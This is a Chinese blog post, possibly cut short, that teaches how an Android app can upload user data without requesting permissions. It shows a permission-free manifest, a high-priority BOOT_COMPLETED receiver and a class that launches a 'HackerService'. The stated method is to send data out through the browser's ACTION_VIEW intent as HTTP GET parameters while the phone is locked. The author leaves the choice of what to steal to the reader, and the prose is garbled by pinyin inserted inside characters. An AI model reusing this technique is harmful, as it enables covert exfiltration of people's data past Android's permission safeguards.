拋磚引玉之誰(shuí)動(dòng)了我的流量(0權(quán)限上傳數(shù)據(jù))
上次寫(xiě)過(guò)一篇文章 拋磚引玉 之 誰(shuí)動(dòng)了我的隱私(android用戶隱私窺探) 描述如何讀取系統(tǒng)log緩沖區(qū)但還存在權(quán)限提示問(wèn)題。
這次來(lái)個(gè)稍微好點(diǎn)的,真正的0權(quán)限上傳數(shù)據(jù)
同上次講的一樣,雖然大部分用戶在安裝app時(shí)對(duì)權(quán)限警告視而不見(jiàn),但相信以后用戶會(huì)對(duì)權(quán)限問(wèn)題越來(lái)越重視的。
這次咱們先真正的來(lái)一次0權(quán)限上傳熱熱身。
一、原理
首先利用的還是那個(gè)開(kāi)機(jī)啟動(dòng)bug。
然后,在手機(jī)鎖屏?xí)r上傳數(shù)據(jù)。
如何上傳數(shù)據(jù)呢,為了避免權(quán)限咱們得瞞天過(guò)海。
我們知道,在Intent轉(zhuǎn)向的時(shí)候,可以轉(zhuǎn)到標(biāo)記為ACTION_VIEW的activity,而瀏覽器都有這個(gè)標(biāo)記,可以傳一個(gè)uri過(guò)去。
soga,說(shuō)到這里,,明白了吧。就是使用http的GET傳參,雖然只能傳明文,但已經(jīng)夠了,更何況一次能傳輸?shù)淖止?jié)也還是很客觀的。
至于傳什么,每個(gè)想實(shí)現(xiàn)這種功能的人都有其目的吧。
二、實(shí)現(xiàn)
首先是清單文件,不需要聲明任何權(quán)限,只需要寫(xiě)一個(gè)廣播接收者和一個(gè)服務(wù)即可
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.igeek.hack"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
<service android:name=".service.HackerService"/>
</application>
</manifest>
然后就是廣播接收者的實(shí)現(xiàn),很簡(jiǎn)單,單純的開(kāi)啟一個(gè)服務(wù)
package org.igeek.hack.reciver;
import org.igeek.hack.service.HackerService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* @author 作者 E-mail:hangxin1940@gmail.com
* @version 創(chuàng)建時(shí)間:2012-01-13 下午10:32:21
* 類說(shuō)明
*/
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}
}